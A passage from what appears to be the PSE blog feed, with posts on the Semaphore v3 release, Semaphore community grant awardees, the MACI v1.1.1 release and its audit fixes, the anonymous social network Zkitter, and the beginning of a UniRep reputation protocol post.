Semaphore [v3.0.0](https://github.com/semaphore-protocol/semaphore/releases) with lots of improvements to the protocol and developer tooling. ## Background Semaphore is a zero-knowledge protocol that lets Ethereum users prove their membership of a group and send signals such as votes or endorsements without revealing their original identity. The ability to do these two simple things anonymously opens up a world of possibilities — some of which are already being worked on, some we can’t wait to see explored and hopefully some we haven’t even thought of yet :D. Semaphore is not a user-facing application. The protocol is designed to allow Ethereum developers to build dapps with privacy as a foundation. ## Highlights ### New features - **[Semaphore CLI](https://github.com/semaphore-protocol/semaphore/tree/main/packages/cli):** Your Semaphore project can now be created with a simple command-line tool. - **[Semaphore Hardhat plugin](https://github.com/semaphore-protocol/semaphore/tree/main/packages/hardhat):** The Hardhat plugin for Semaphore can be used to deploy the `Semaphore.sol`  contract with a Hardhat task. - **[Boilerplate](https://github.com/semaphore-protocol/boilerplate):** Try Semaphore with our new boilerplate demo and learn more about how it works by exploring the code. The boilerplate is also a GitHub template you can use for your project. Read the whole list of features in the [ChangeLog](https://github.com/semaphore-protocol/semaphore/releases) and learn how to upgrade in the Migration section. ### Refactoring - One Verifier to rule them all: 17 verifier contracts were consolidated to a single one, keeping the same capabilities but reducing 3800 lines of code - thus making Semaphore deployments much cheaper. - New Poseidon library: @semaphore-protocol/identity now uses poseidon-lite, a stripped down Poseidon implementation pulled from circomlibjs v0.0.8. This made it possible to drastically reduce previously unused code imported from the circomlibjs library. ### Bug fixes - Editor’s entity may be overwritten (V-SEM-VUL-003) - merkleRootDuration cannot be changed (V-SEM-VUL-007) - Infinite loop if input array is too large (V-SEM-VUL-006) - Different checks used to determine if group exists (V-SEM-VUL-010) - No zero value validation (V-SEM-VUL-001) See the audit report for some of the major bugs we addressed. ### Audit Semaphore v3 was formally audited and verified by our friends at [Veridise](https://twitter.com/VeridiseInc). You can read the full report here: [Veridise Auditing Report - Semaphore version 3.0](https://github.com/semaphore-protocol/semaphore/files/10492413/VAR_Semaphore.pdf) and their blogpost [Breaking the Tree: Violating Invariants in Semaphore](https://medium.com/veridise/breaking-the-tree-violating-invariants-in-semaphore-4be73be3858d) We believe that building on secure foundations increases trust for all layers, a trust that is essential to propelling our industry forward. We´re very happy to have worked with Veridise and look forward to continuing our collaboration in the future. ### Documentation - [Documentation V3](https://semaphore.appliedzkp.org/docs/introduction) is released - [i18n Support](https://lingoport.com/what-is-i18n/): our website now supports local languages and cultural settings. We are [happy to welcome](https://github.com/semaphore-protocol#ways-to-contribute) anyone who would like to help us translate the Semaphore website and documentation into other languages. - Search bar: we’re incorporating a search bar to our documentation. ### Translations We completed our first efforts for the website documentation translation: 🇪🇸 [#67](https://github.com/semaphore-protocol/website/pull/67): completes Spanish translations A blogpost sharing the translation decisions and rationale will be shared soon, as well as future approaches to make the translation process scalable to other languages. ## Semaphore in Action There are many dapps already using Semaphore in categories spanning voting, social media, gaming, IoT and education. These dapps are in different stages of maturity, from POC and demos to live products. Below is a subset that shows a range of what’s possible, which we hope will inspire future projects: **Governance** - [Coeo](https://showcase.ethglobal.com/hackfs/coeo) is a decentralized collaboration platform that prioritizes privacy and enables organizations to collaborate through a network-wide discussion forum and social network. - [Ethereum Social Contract](https://ethglobal.com/showcase/ethereum-social-contract-gwt57) proposes a decentralized and compliant justice system for web3. Semaphore provides the zkSNARK underpinning for our private transaction dApp. - [Emergence](https://ethglobal.com/showcase/emergence-o3tns) is an on-chain video platform that distribute tokens during calls, generates a script for DAO documentation and increases DAO health and onboarding quality. - [heyanon](https://www.heyanon.xyz/) is a way for people who are in cool groups or did cool stuff on Ethereum to broadcast messages anonymously on Twitter. - [Heyanoun](https://www.heyanoun.xyz/) allow Nouners to express what they believe while maintaining anonymity. Nouners can post credible pseudonymous messages at heyanoun.xyz. - [Om](https://om-rose.vercel.app/) is a DAO platform that has a decentralized and private data storage layer. In this type of access, specific users will have access to properties of the data and not the full data. - [Sacred](https://www.thatsacred.place/) is an anonymous forum to foster horizontal, inclusive and effective communities. - [Zero Voting](https://zkvote.vercel.app/) allows you to vote quadratically among the choices you get without revealing your address. - [zkPoH](https://github.com/elmol/zk-proof-of-humanity) brings privacy to Proof of Humanity (PoH). By using Semaphore, a registered PoH user can prove their humanity without doxing themselves. - [zkVoice](https://ethglobal.com/showcase/zkvoice-fighting-plutocrat-dao-communities-ptrzp) is a coordination tool that allows community members with less voting power to secretly signal their disapproval and come together to beat the Plutocrat Moloch. **IoT Gating** - [zMorpheus](https://github.com/a42io/ETHBogota) delivers a pseudonymous, seamless zk-based token-gating solution for real-world use cases of proving ownership of NFTs with privacy on IoT Devices. **Education / Professional** - [Block Qualified](https://github.com/0xdeenz/bq-core) aims to become an open education platform where anyone can create their own learning experience, gain credentials and attest qualifications while preserving their privacy. - [Continuum](https://continuum.tomoima525.com/home) proves your web2 work experience on-chain without revealing your identity. **Proof of Personhood / Anti Sybil** - [Interep](https://interep.link/) uses zero knowledge proofs to verify reputation from an existing account such as Github or Twitter without retaining any identifying information. - [Menshen](https://ethglobal.com/showcase/menshen-i2kq1) provides sybil resistant proof-of-personhood NFTs, and is built for everyone. It does this by allowing anyone with a smartphone camera or webcam to mint a Menshen ID. - [Worldcoin](https://worldcoin.org/blog/developer/the-worldcoin-protocol) is a Privacy-Preserving Proof-of-Personhood Protocol (PPPoPP). Biometric data is hashed to create a Semaphore identity which is added to a group for future UBI. **NFT Identity** - [Arbor](https://arbor.audio/) is a Schelling game where the objective is to publicly co-create songs worthy of purchase by NFT collectors using Semaphore as anonymous voting on stems. - [ClubSpace](https://www.joinclubspace.xyz/) is a virtual party platform that enables creators to import music playlists, promote NFTs, and provide free NFTs to attendees who can prove their attendance via ZKPs. - [ZKTokenProof](https://polygon.zktokenproof.xyz/) token-gating solution for ticketing features with privacy. Anyone can manage events with NFT gating where participants don’t need to reveal their wallet addresses. **Social Media** - [Unirep](https://github.com/Unirep/Unirep) is a social media platform that uses anonymous reputation, allowing people to provide relational context without revealing specifics of their history. - [Truth](https://ethglobal.com/showcase/truth-2wbd7) is a photo based social media network where pictures need to be taken in real-time inside the app. - [Zkitter](https://mirror.xyz/privacy-scaling-explorations.eth/P4jDH1gLrVQ-DP5VyIKQrlPAJUTDhtXZkFl2vp8ewSg) is an anon-friendly social network that provides familiar social media functions such as posting, chatting, following, and liking, but with a private identity layer under the hood. - [ZK3](https://github.com/monemetrics/lensbot-docs/blob/master/docs/zk3.md) is a Lens Protocol + Semaphore Integration that allows users of the Lens protocol to govern post interactions (who can comment, mirror, etc) through ZKPs and group membership. **Gaming / DeFi** - [Chain Statements](https://ethglobal.com/showcase/chain-statements-kdurw) is a way to generate statements for your crypto funds using ZKPs privately and permissionlessly. - [zkIdentity](https://github.com/sigridjineth/zkIdentity) is a private identity claim system with zero-knowledge for DarkForest.eth. It allows a previous winner claim prizes without revealing the recipient's Ethereum address. **Interoperability** - [Anchor](https://github.com/webb-tools/semaphore-anchor) is an interoperable privacy gadget for creating anonymous proof of membership on blockchains. In other words, modifying Semaphore to be used multichain. - [World ID @ Mina](https://ethglobal.com/showcase/world-id-mina-embt9) aims to integrate the World ID proof of personhood (PoP) system into snarkyjs, to make PoP available on Mina smart contracts and other applications. - [zkVote](https://github.com/KimiWu123/zkvote) is a method for an approved user to broadcast an arbitrary string without exposing their identity. It uses Semaphore as a base to achieve private voting. - [Zerokit](https://github.com/vacp2p/zerokit) Rust support library for using Semaphore. Rust rewrite of zk-kit, but just focuses on Semaphore (for now). **Ecosystem & Environment** - [PreciDatos](https://github.com/datadrivenenvirolab/PreciDatos) is a blockchain-based system for incentivizing actors to disclose accurate climate data. - [Terrarium](https://ethglobal.com/showcase/terrarium-ztoes) enables proving membership of Terrarium Conservation Group, sending signals (votes, endorsements) on species protection using ZK and enabling secured conversations. **Experience** - [TAZ](https://taz.appliedzkp.org/) was a Devcon 6 experience that allowed participants to experience anonymous protocols. Participants joined with a QR code and could anonymously co-create art, engage in Q&A and use heyAnon and Zkitter. _Disclaimer: the Semaphore/ PSE team has not verified the security or reliability of these projects. Do your own research before using or integrating with a live product._ ## GitPOAPs If you contributed to Semaphore´s codebase, then you´re eligible to claim a special POAP! 🥳 Check if you´re eligible and get yours here: [https://www.gitpoap.io/eligibility](https://www.gitpoap.io/eligibility) 🏗 Nothing to claim yet? Well no worries! There are many issues in the codebase that you can help us with. You can contribute to Semaphore today to get the 2023 POAP. [https://github.com/semaphore-protocol/#ways-to-contribute](https://github.com/semaphore-protocol/#ways-to-contribute) ## What's coming in the future? - [Semaphore v4](https://github.com/orgs/semaphore-protocol/projects/10/views/3) [research](https://github.com/privacy-scaling-explorations/researches/issues/2) is underway. We're researching new ways to generate memberships proof and anonymous signaling, adding composability and recursiveness. - We'll continue to explore new approaches for translations and bring Semaphore to more communities. - Semaphore website v3 will come later this year after usability and user research. - Lastly, we will continue to explore ways to improve the DevEx (Developer Experience) whenever possible in the 3.X.X versions of Semaphore. Thanks to all contributors and Semaphore supporters! In particular @cedoor, @vplasencia, @rachelaux, @aguzmant103, @0xyNaMu, @recmo , @0xorbus, @uniyj, @vojtechsimetka, @marciob, @omahs, @namrapatel ]]> semaphore privacy zero-knowledge proofs anonymity/privacy identity voting/governance ethereum security toolkits infrastructure/protocol <![CDATA[Semaphore Community Grants: Awarded Projects]]> https://pse.dev/blog/semaphore-community-grants-awarded-projects https://pse.dev/blog/semaphore-community-grants-awarded-projects Tue, 24 Jan 2023 00:00:00 GMT <![CDATA[ We are thrilled to announce the awarded projects from the recent [Semaphore Community Grants](https://esp.ethereum.foundation/semaphore-grants) round. This grants round invited builders, researchers, developers and privacy advocates to build privacy preserving applications integrating [Semaphore](http://semaphore.appliedzkp.org/), an anonymous signaling protocol. The project proposals vary broadly in scope and geographic representation with teams from Afghanistan, Argentina, Canada, Côte d'Ivoire, China, Costa Rica, France, Germany, Hungary, Japan, Kenya, Slovenia, Turkey, United Kingdom, United States. Through a thorough selection process, the four selected projects are: ## Block Qualified Block Qualified aims to become an open education platform where anyone can create their own learning experience, gain credentials that attest to their knowledge, or verify the qualifications of others. All of this will be done directly on-chain, with verifiable data, and preserving the privacy of users via [ZK proofs](https://ethereum.org/en/zero-knowledge-proofs/). - Semaphore will enable: - Having a private reputation system for credential issuers, similar in scope to [Unirep](https://github.com/unirep). - Proving ownership of a given credential without revealing ownership of any other credential. - Proving credential prerequisites without revealing their identity. - Creating groups for users holding certain credentials. Lens Protocol is a composable and decentralized social graph, ready for you to build on so you can focus on creating a great experience, not scaling your users. [Lens Protocol](https://www.lens.xyz/) + Semaphore integration will allow users of the Lens protocol to create ZK Proofs using Semaphore that are verified and enforced by Lens to govern post interactions. This will allow users to regulate who can interact with their content (comment, mirror, etc). ## zkPoH - ZK Proof of Humanity The main idea of this project is to prevent doxing in [Proof of Humanity (PoH)](https://proofofhumanity.id/) through ZK proofs. Using Semaphore, a registered PoH user can anonymously prove their humanity and uniqueness. This provides a private sibyl resistance mechanism and prevents double-signaling. ## TAZ - Temporary Anonymous Zone TAZ allowed [Devcon VI](https://mirror.xyz/privacy-scaling-explorations.eth/plfDBIpiKZVyNSJWhE9vix76JaJoJ1seDfRAddV7HEc) attendees to experience privacy and anonymity and explore the possibilities that can be built with Semaphore protocol. Visitors were offered different paths to explore: anonymously ask and answer questions, give feedback, or co-create generative art. TAZ also included identity integrations with [heyAnon](https://www.heyanon.xyz/) (post anonymously on Twitter) and [Zkitter](https://www.zkitter.com/explore) (anonymous Twitter) Semaphore identities were the centerpiece of TAZ identity management. Users generated a new Semaphore identity each time a physical QR code from Devcon VI was scanned. Users sent signals like feedback, art submission and posts. Each signal included a proof that the signal was sent from a member of the Devcon VI group. ## Get involved We are thankful for [Semaphore community](https://discord.gg/6mSdGHnstH) and we´re looking forward to hearing from more cool projects building on top of Semaphore! If you missed this round and are researching something in this space, consider submitting a project inquiry to the [Ecosystem Support Program.](https://esp.ethereum.foundation/) Keep up with these and other awesome projects built on top of Semaphore in our [Discord](https://discord.com/invite/6mSdGHnstH). ]]> semaphore grants privacy zero-knowledge proofs anonymity/privacy identity sybil resistance social ethereum public goods <![CDATA[Announcing MACI v1.1.1]]> https://pse.dev/blog/announcing-maci-v111 https://pse.dev/blog/announcing-maci-v111 Wed, 18 Jan 2023 00:00:00 GMT <![CDATA[This post was authored by [Alessandro](https://github.com/ctrlc03) and [Chao](https://github.com/chaosma)]]> <![CDATA[ We are pleased to announce the release of an updated version of MACI - Minimal Anti-Collusion Infrastructure v1.1.1. This new release brings a more secure product, new features, and a much needed documentation refresh. Before we dive into the updates, let's refresh your memory on what MACI is and what it was created to achieve. ## Background MACI is an application that provides collusion resistance for on-chain voting processes. It was originally created after Vitalik's [post](https://ethresear.ch/t/minimal-anti-collusion-infrastructure/5413), and has since been revisited and improved. MACI revolves around the need for a trusted coordinator. The coordinator is in charge of setting up the system, publishing its public key, and computing the tally of the votes. Below are the main properties of MACI: ![](/articles/announcing-maci-v111/9GxuqUkAqCpsIiIRaFe7x.webp) Since its inception, MACI has been adopted by different projects, most notably [clr.fund](https://github.com/clrfund) and [QFI](https://github.com/quadratic-funding/qfi/tree/feat/code-freeze). These projects prove how effective MACI can be, especially when integrated with applications that are otherwise prone to collusion, such as funding Public Goods. For a more detailed description of MACI, please refer to the [v1 technical introduction article](https://medium.com/privacy-scaling-explorations/a-technical-introduction-to-maci-1-0-db95c3a9439a). ## Security Audit MACI was [audited](https://github.com/privacy-scaling-explorations/maci/blob/v1/audit/202220930_Hashcloak_audit_report.pdf) by HashCloack in the summer of 2022. The audit team discovered certain high risk vulnerabilities, whose fixes were the focus of the MACI team in the past months. In more details, the audit revealed two high risk issues within the zk-SNARK circuits: - Incomplete validation when processing messages - Integer overflow which could have allowed users to affect a coordinator's effort of calculating the subsidy by either making it incorrect or by intercepting the calculation Another notable security issue was the lack of initialization of the `AccQueue` contract. This contract is used to store messages (votes or topups) for the different polls. Without inserting a zero value hash into the merkle tree contract as the first message during initialization, a malicious user could have performed a denial of service attack on a poll. This could have resulted in the poll results taking a very long time before being tallied by the coordinator. All of these issues have been successfully resolved, on top of fixing minor issues and general code optimizations. The updated product uses a more up to date and secure version of Solidity, and more thorough test cases to verify the correctness of the solution. ## New Features The following sections provide a quick introduction to the newest features introduced in MACI's codebase. ![](/articles/announcing-maci-v111/Gfn-Vu6lKKsJ750LQIXxA.webp) ### Top Up Credit Rather than requiring a user to sign up multiple times, it is now possible to top up voice credits by sending a top up message on the Poll contract. Withdrawals are not enabled as this would allow a malicious user to bribe others offline to transfer their keys. Now, the Poll contract will hold all the funds deposited from users for the current poll. At the end of a poll, the coordinator can transfer the funds to a hardcoded address which can be used to fund public goods. When a user deposits tokens by calling topup, they will also need to specify the stateTree index. The topup function will insert a topup message into the message queue for them. When the voting period ends, any call of topup function will be rejected. Both voting and topup messages have the same ending time, which ensures there is a well-defined ending state for each poll. Please note that in this approach, the initial credit is still shared across multiple polls, and the actual credit an user can spend in a given poll is the following: `totalCredit=initialCredit+topupCredit` where the `topupCredit` is the voice credit amount deposited by the user during the voting period of the given pollID. For a detailed description, please refer to this [document.](https://hackmd.io/@chaosma/rkyPfI7Iq) ### Pairwise Subsidy Pairwise subsidy is a new way to reduce collusion in quadratic funding applications. If two contributors with access to enough collude with each other, they can extract most of the public funding pool if they have enough funds. In this [post](https://ethresear.ch/t/pairwise-coordination-subsidies-a-new-quadratic-funding-design/5553), Vitalik introduced this kind of collusion and also proposed a protocol to penalize this behavior. As a generalized solution, the more correlation between contributions, the smaller subsidy should be allocated to this project, as this reduces the risk of collusion between contributors. It should be noted that this solution assumes that an identity system is in place to prevent the same entity from registering with two different identities. Please refer to this [post](https://hackmd.io/@chaosma/H1_9xmT2K) for a more detailed explanation of the implementation. Finally, please note that currently it is not possible to generate the `zkeys` for the subsidy circuit with the `vote options` parameter larger than 5252. This issue is documented [here](https://github.com/privacy-scaling-explorations/maci/issues/584) and the team will focus on finding a solution to be able to support larger vote options. ### Coordinator Service MACI now includes a sample [coordinator service](https://github.com/privacy-scaling-explorations/maci/tree/v1/server). There are two roles in the coordinator service: admin (i.e. MACI coordinator) and user (i.e. a voter). The admin's responsibility is to ensure that the code remains updated and that the backend services are live. The user can then simply send HTTP requests to the backend server to interact with MACI, for instance, by signing up and publishing a message on chain. The coordinator service has been wrapped into two docker instances: one for the backend server to accept user requests; one for the Mongodb service to store all necessary information on the current state such as smart contract addresses, zero knowledge proof keys and so on. For further reading on coordinator services, please refer to this [doc](https://hackmd.io/@chaosma/SJtsfzKnF). ## How to use MACI MACI can be used as a standalone application to carry out on-chain polls, or be implemented into new projects that can then benefit from its properties. For use as a standalone application, a `cli` package is provided which allows coordinators and voters to use MACI. Please refer to this [doc](https://privacy-scaling-explorations.github.io/maci/cli.html) for details on how to use it. To implement MACI into a project, the [documentation](https://privacy-scaling-explorations.github.io/maci/) can be used a reference, as well as reviewing how [clr.fund](https://github.com/clrfund) and [qfi](https://github.com/quadratic-funding/qfi/tree/feat/code-freeze) use MACI in their code. ## MACI 0.x MACI version 0.x will be discontinued. MACI 1.x has feature parity, more robust code and newest features. Users are encouraged to use the latest version. Starting February 7th 2023, the team will focus solely on resolving issues for MACI 1.x, and will cease to provide support for version 0.x. ## How to get involved Should you wish to get involved with MACI or simply report a bug, feel free to visit the [repository](https://github.com/privacy-scaling-explorations/maci/tree/v1) and open an issue, or comment under an open issue to notify the team of your intention to work on it. For any other enquiry, please reach out to us via the Privacy Stewards of Ethereums (PSE) [Discord](https://discord.gg/bTdZfpc69U). ## References - [MACI GitHub repository](https://github.com/privacy-scaling-explorations/maci/tree/v1) - [A technical introduction to MACI 1.0 - Kyle Charbonnet](https://medium.com/privacy-scaling-explorations/a-technical-introduction-to-maci-1-0-db95c3a9439a) - [Minimal anti-collusion infrastructure - Vitalik](https://ethresear.ch/t/minimal-anti-collusion-infrastructure/5413) - [Pairwise Subsidy](https://ethresear.ch/t/pairwise-coordination-subsidies-a-new-quadratic-funding-design/5553) - [Security Audit](https://github.com/privacy-scaling-explorations/maci/blob/v1/audit/202220930_Hashcloak_audit_report.pdf) ## Release Here is a link to the new release code in GitHub - [v1.1.1 Release](https://github.com/privacy-scaling-explorations/maci/releases/tag/v1.1.1). ]]> maci zero-knowledge proofs privacy voting/governance collusion resistance ethereum security quadratic funding public goods infrastructure/protocol <![CDATA[Zkitter: An Anon-friendly Social Network]]> https://pse.dev/blog/zkitter-an-anon-friendly-social-network https://pse.dev/blog/zkitter-an-anon-friendly-social-network Wed, 11 Jan 2023 00:00:00 GMT <![CDATA[ Zkitter is a decentralized social network where users have the option to interact anonymously. The platform provides familiar social media functions such as posting, chatting, following, and liking, but with a private identity layer under the hood. Zkitter was created as a public good for more open and honest conversation. With privacy and anonymity enabled by default – and without the fear of damaging or risking one's personal reputation – the theory is that users will be able to express themselves more freely on Zkitter compared to mainstream platforms. Zkitter is a social experiment made possible by decentralized blockchains and privacy-preserving [zero-knowledge proofs](https://ethereum.org/en/zero-knowledge-proofs/), and is currently in [alpha testing.](https://www.zkitter.com/explore/) ## What is Zkitter? Zkitter is a private and decentralized social protocol meant to be an alternative means of communication for the crypto community and an experiment in anonymity and free speech. Data is decentralized and runs on a [peer-to-peer network](https://docs.zkitter.com/developers/overview) of nodes. Private identity functions are enabled by a stack of zero knowledge protocols: [Semaphore](https://semaphore.appliedzkp.org/), [Interep](https://interep.link/), [RLN](https://mirror.xyz/privacy-scaling-explorations.eth/aKjLmLVyunELnGObrzPlbhXWu5lZI9QU-P3OuBK8mOY), and [zkchat](https://github.com/zkitter/zkitterd/tree/main/lib/zk-chat-server). **Semaphore** Semaphore allows Ethereum users to prove their membership of a group and send signals without revealing their original identity. Zkitter users create a [Semaphore identity](https://semaphore.appliedzkp.org/docs/guides/identities) to join, post, reply, upvote, and chat publicly, either anonymously, or using an Ethereum address or ENS as their username. By using a Semaphore identity, Zkitter users reveal only the content of their messages or posts – and nothing else. **Interep** Another challenge with anonymity is [Sybil attacks](https://en.wikipedia.org/wiki/Sybil_attack), where a user creates multiple accounts to spam or gain influence. Zkitter uses Interep to increase Sybil resistance by leveraging existing reputations. Before creating an anonymous account on Zkitter, anonymous users need to prove they also own a reputation on an existing web2 social network such as Twitter or Reddit. **RLN** Spam can be a serious problem in anonymous environments. In "real life", or on social networks where users have persistent identities, the threat of reputational damage or banning prevents most people from openly spamming. On anonymous networks, where a user's actions can't be traced to their identity, we can't know who's spamming – so we can't punish or ban them. [RLN](https://mirror.xyz/privacy-scaling-explorations.eth/aKjLmLVyunELnGObrzPlbhXWu5lZI9QU-P3OuBK8mOY) (Rate Limit Nullifier) requires users to put something at stake, either financial or social, and punishes users who violate the spam rules by either slashing or banning them. **Zkchat** One of the first use cases for RLN was ["RLN Anonymous Chat"](https://github.com/zkitter/zkitterd/tree/main/lib/zk-chat-server), which later became known as zkchat, a spam resistant instant messaging application for private and anonymous communication. Zkchat powers Zkitter's chat functionality and the zkchat project is now maintained by Zkitter. ## Experimenting with anonymity > "Man is least himself when he talks in his own person. > > Give him a mask, and he will tell you the truth." > > \- Oscar Wilde Zkitter is a social experiment. Philosophically, it is an experiment in whether the Oscar Wilde quote above is true. Does the option of anonymity, by separating reputation from speech, create a space for more open and honest self-expression? What would happen if the option to be anonymous was available as a default and widely considered to be a "normal" thing to do? How might the conversation change when the content of what's being said is detached from the reputation of the person saying it? As an anon or using a pseudonym, people can say what they really believe, and honest conversation is ultimately the most valuable thing for important topics like governance decisions. Because the stakes are so high, and decisions may potentially last decades or even centuries, debate must be as authentic as possible. Though [DAO](https://ethereum.org/en/dao/) governance may come to mind for most people reading this article; using anonymity, pseudonyms, or aliases to debate controversial topics is not new. In the late 1700s, when the newly formed United States of America was deciding between a weak or strong constitution (governance protocol in crypto-speak), the bulk of the conversation took place between anons. Writers of [the Federalist Papers](https://en.wikipedia.org/wiki/The_Federalist_Papers) argued for a strong constitution while the authors of the [Anti-Federalist Papers](https://en.wikipedia.org/wiki/Anti-Federalist_Papers) took the opposite side. Both sides used pseudonyms or aliases such as Publius, Cato, and Brutus to express their arguments as a collective and as individuals. To this day, historians are not completely certain who wrote which paper. Modern crypto and its various sub-cultures are built on the work of the anon [Satoshi Nakamoto](https://nakamoto.com/satoshi-nakamoto/) (along with many other anonymous and pseudonymous contributors) so it should be no surprise that anonymity is a regular feature of crypto-related discussions on platforms like Twitter. The idea for Zkitter is to go a step further and create a space where anons are not outliers but first-class citizens – where privacy is the default, going anonymous is as trivial as toggling between dark mode and light mode, and decentralization and censorship resistance are part of the architecture of the system. In other words, align the values of the platform with the values of the community. ## Using Zkitter Zkitter offers many of the basic functions people have come to expect from a social network. Where things get interesting are the anonymity options. **Signup** When signing up you can decide whether to create an account using an Ethereum address or [ENS name](https://ens.domains/), which will be displayed as your username, or to create an anonymous account. ![https://www.zkitter.com/signup](/articles/zkitter-an-anon-friendly-social-network/dBqPvJok48PmEavi4ziVB.webp) https://www.zkitter.com/signup To join Zkitter anonymously, you need to verify your reputation on an existing social network. [Interep](https://mirror.xyz/privacy-scaling-explorations.eth/w7zCHj0xoxIfhoJIxI-ZeYIXwvNatP1t4w0TsqSIBe4) imports a reputation from an existing platform to help prevent spammers or bots from creating many anonymous accounts. You can currently import your Twitter, Reddit, or Github reputation to Zkitter. Thanks to the magic of ZK proofs, the information from your Twitter account is not linked to your anon identity on Zkitter – Interep only verifies that you meet the reputation criteria and does not collect or store any details about either account. ![https://docs.zkitter.com/faqs/how-to-create-an-anonymous-user](/articles/zkitter-an-anon-friendly-social-network/srqVAqctPfgTFRapL_qCp.webp) https://docs.zkitter.com/faqs/how-to-create-an-anonymous-user Once your reputation is verified, instead of a username, your Zkitter posts will simply show your reputation tier. When you join Zkitter, you will sign a message to generate a [new ECDSA key pair](https://docs.zkitter.com/developers/identity) and write the public key to a [smart contract](https://arbiscan.io/address/0x6b0a11f9aa5aa275f16e44e1d479a59dd00abe58) on Arbitrum. The ECDSA key pair is used to authenticate messages and recover your Zkitter identity – so you aren't using your Ethereum account private key to sign for actions on Zkitter. **Posting** Posting to Zkitter will feel pretty familiar, but with some extra options. You can choose whether to post as yourself, or anonymously – even if you don't have an anonymous account. You can decide who you want to allow replies from, as well as whether the post will appear on the global feed or only on your own. If you've connected your Twitter account, you can also mirror your post to Twitter. **Chat** Any Zkitter user – anon or publicly known – has the option to chat anonymously. ![https://docs.zkitter.com/faqs/how-to-chat-anonymously](/articles/zkitter-an-anon-friendly-social-network/AjfTdRvCPiIPjnguqjrpV.webp) https://docs.zkitter.com/faqs/how-to-chat-anonymously Known identities and anonymous identities can interact with each other in private chats or on public threads. ## Private, on-chain identity Zkitter is possible because of composability. The platform combines a variety of zero knowledge primitives and puts them all into one user-friendly package. The base primitive of Zkitter is [Semaphore](https://mirror.xyz/privacy-scaling-explorations.eth/ImQNsJsJuDf_VFDm9EUr4njAuf3unhAGiPu5MzpDIjI), a private identity layer that lets users interact and post content anonymously. Semaphore IDs allow users to prove they are in a group and send signals as part of a group without revealing any other information. Interep is the anti-Sybil mechanism of Zkitter. Because users are anonymous and anyone can join the network permissionlessly, Zkitter is susceptible to Sybil attacks. Interep allows new users to prove they possess a certain level of reputation from existing social networks. ![https://www.zkitter.com/explore](/articles/zkitter-an-anon-friendly-social-network/a-6ZAmTQi43YjwOUaKBz5.webp) https://www.zkitter.com/explore [RLN](https://mirror.xyz/privacy-scaling-explorations.eth/aKjLmLVyunELnGObrzPlbhXWu5lZI9QU-P3OuBK8mOY) provides spam protection for Zkitter and is also integrated with the [zkchat](https://github.com/njofce/zk-chat) encrypted chat function. RLN allows the protocol to set a limit on how many messages a user can send in a certain amount of time, and a user who breaks the spam rules can be [identified and removed](https://rate-limiting-nullifier.github.io/rln-docs/what_is_rln.html#user-removal-slashing). A social platform with basic privacy guarantees and protections from spam and Sybil attacks allows users to explore how anonymity affects speech. Whether the option to interact anonymously is useful, or even interesting, will depend on what happens on social experiments like Zkitter. With no name, phone number, or email address to tie your digital identity to the one you use in the physical world, what would you say? How would you be different? ## Join the experiment If you are interested in experimenting with anonymous thread posting or chatting, you can [try Zkitter now](https://www.zkitter.com/home). If you have any comments or feedback, please let us know by using [#feedback](https://www.zkitter.com/tag/%23feedback/) directly on [Zkitter](http://zkitter/) or by joining the [PSE Discord channel](https://discord.gg/jCpW67a6CG). To help build Zkitter, check out the [Github repo here](https://github.com/zkitter) or learn more by reading the [docs.](https://docs.zkitter.com/developers/identity) Zkitter is being built anonymously by [0xtsukino](https://www.zkitter.com/0xtsukino.eth/) with contributions from [AtHeartEngineer](https://github.com/AtHeartEngineer), [r1oga](https://github.com/r1oga), and others. ]]> zkitter semaphore interep rln privacy anonymity/privacy social identity zero-knowledge proofs sybil <![CDATA[UniRep Protocol]]> https://pse.dev/blog/unirep-protocol https://pse.dev/blog/unirep-protocol Wed, 04 Jan 2023 00:00:00 GMT <![CDATA[ Anonymity gives people a clean slate to express themselves, unconnected to an existing identity. Reputation provides context: it reveals an aspect about a person's history in relation to others. [UniRep protocol](https://github.com/unirep) adds reputation to anonymity, allowing people to provide relational context without revealing specifics of their history. UniRep stands for [Universal Reputation](https://mirror.xyz/privacy-scaling-explorations.eth/S04tvQuLbRjf_9ZrzDTE0T2aho9_GoSuok5NEFyHNO4) and serves as a base layer for applying reputation across multiple communities using interoperable smart contracts while preserving user privacy through [zero-knowledge proofs](https://ethereum.org/en/zero-knowledge-proofs/). ## Universal reputation Reputation is relational: it is built on claims about a person's behavior or character. It's also subjective and context-dependent. It can take a qualitative form such as a reference letter from an acquaintance or an Airbnb review, or it can be an upvote or downvote on Reddit, or a positive or negative integer in a database. Many of the apps and services we depend on wouldn't work without reputation acting as a reference for deciding whether and how to interact with strangers on the internet. UniRep protocol is a standard on which different reputational rules can interoperate. It doesn't dictate how reputation is used in a given application, but instead functions as a generic and [extensible](https://www.youtube.com/watch?v=jd2Dg9czJzI&list=PLV91V4b0yVqRQ62Mv0nUgWxJhi4E67XSY&index=5) system where platforms such as AirBNB, Uber, Reddit, Medium, Trip Advisor, or Trust Pilot would be [attesters](https://developer.unirep.io/docs/protocol/users-and-attesters): providers of negative or positive reputation. Attesters are at the application layer. They are the platforms, businesses, and communities in the ZK social ecosystem. They act as world builders and community managers. Attesters have great flexibility in what to build. They decide how many user identities are used, how users are onboarded, and how users interact with each other. Most importantly, attesters decide why someone receives a positive reputation and why someone receives a negative reputation. In other words, attesters provide accountability. Attesters use publicly known Ethereum addresses while user identities are always kept private. Users receive reputation from attesters and can create a zero-knowledge proof verifying they have a certain level of reputation from a certain attester. UniRep users are always in control of how their reputation is used: only they can see how much they've accrued and only they have the power to reveal their reputation – and only to who they want. ## How UniRep works: adding accountability to anonymity The UniRep protocol evolved from an [ethresearch proposal by Barry WhiteHat](https://ethresear.ch/t/anonymous-reputation-risking-and-burning/3926) for a system where users could be banned or have their reputation destroyed even if they are anonymous. The proposal outlined a mechanism for giving positive and negative reputation in a way that the user must accept while maintaining privacy. To guarantee reputation is non-repudiable (cannot be refused) UniRep employs a system of epochs, temporary identities, and the migration of reputation and user information from one state to the next via ZK proofs. ![](/articles/unirep-protocol/4jSmWwzhXMTHRcMhVm1Hv.webp) ## Temporary identities Reputation is accumulated to users via rotating identities called [epoch keys](https://developer.unirep.io/docs/protocol/epoch-key). Epoch keys can be thought of as temporary Ethereum addresses that change regularly but are tied to a persistent user, which preserves anonymity for users while maintaining the history needed for a meaningful reputation. [Epochs](https://developer.unirep.io/docs/protocol/epoch) represent the ticking of time. Similar to blocks in a blockchain, they can be thought of as cycles in the UniRep system: with each transition, the reputation balances of all users are finalized and carried over into the new epoch. Each attester sets their own epoch length. Epoch keys are created from an [identity commitment](https://semaphore.appliedzkp.org/docs/guides/identities) generated via [Semaphore](https://semaphore.appliedzkp.org/), a generic privacy layer where users can 